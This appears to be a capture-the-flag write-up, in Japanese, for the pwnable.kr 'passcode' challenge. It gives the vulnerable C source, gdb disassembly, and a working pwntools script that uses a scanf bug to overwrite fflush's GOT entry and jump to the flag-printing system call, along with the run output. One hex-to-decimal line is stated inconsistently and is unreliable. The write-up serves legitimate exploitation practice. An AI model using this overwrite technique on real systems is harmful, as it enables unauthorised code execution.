Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?ssh passcode@pwnable.kr -p2222 (pw:guest)
passcode@pwnable:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
login()内のscanfにバグがありますね。scanfの引数は変数へのポインタでなければいけないところをpasscode1,2の中身を渡しています。また、login()の前のwelcome()でのname[100]があった領域がpasscode1,2に割り当てられていることから、nameへの入力を操作してpasscode1,2の値を調整しその値が示すアドレスに任意の書き込みができるということがわかります。
それではgdbで変数の具体的な位置関係を調べます。
(gdb) disas main
Dump of assembler code for function main:
0x08048665 <+0>: push %ebp
0x08048666 <+1>: mov %esp,%ebp
0x08048668 <+3>: and $0xfffffff0,%esp
0x0804866b <+6>: sub $0x10,%esp
0x0804866e <+9>: movl $0x80487f0,(%esp)
0x08048675 <+16>: call 0x8048450 <puts@plt>
0x0804867a <+21>: call 0x8048609 <welcome>
0x0804867f <+26>: call 0x8048564 <login>
0x08048684 <+31>: movl $0x8048818,(%esp)
0x0804868b <+38>: call 0x8048450 <puts@plt>
0x08048690 <+43>: mov $0x0,%eax
0x08048695 <+48>: leave
0x08048696 <+49>: ret
End of assembler dump.
(gdb) disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
welcome()内でのnameの位置は-0x70(%ebp)、login()内でのpasscode1,passcode2の位置はそれぞれ-0x10(%ebp),-0xc(%ebp)なのでnameの96バイト下位にpasscode1,100バイト下位にpasscode2があることがわかります。従ってpasscode1には任意の値を渡せるので GOT overwrite によってsystem関数を呼び出すようにします。
(gdb) disas 0x8048430
Dump of assembler code for function fflush@plt:
0x08048430 <+0>: jmp *0x804a004
0x08048436 <+6>: push $0x8
0x0804843b <+11>: jmp 0x8048410
End of assembler dump.
よって、0x8048430 = 134514147 を入力します。
soma@soma-E200HA:~/mine/pwnable$ cat passcode_pwn.py
from pwn import *
s1 = ssh(host="pwnable.kr", user="passcode", password="guest", port=2222)
r1 = s1.process("./passcode")
print(r1.recvuntil("enter you name : "))
r1.send("A"*96 + "\x04\xa0\x04\x08")
print(r1.recvuntil("enter passcode1 : "))
r1.sendline("134514147")
print (r1.recv())
soma@soma-E200HA:~/mine/pwnable$ python3 passcode_pwn.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] col@pwnable.kr:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.179
ASLR: Enabled
[+] Starting remote process './passcode' on pwnable.kr: pid 279119
b"Toddler's Secure Login System 1.0 beta.\nenter you name : "
b'Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\xa0\x04\x08!\nenter passcode1 : '
b'Sorry mom.. I got confused about scanf usage :(\nNow I can safely trust you that you have credential :)\n'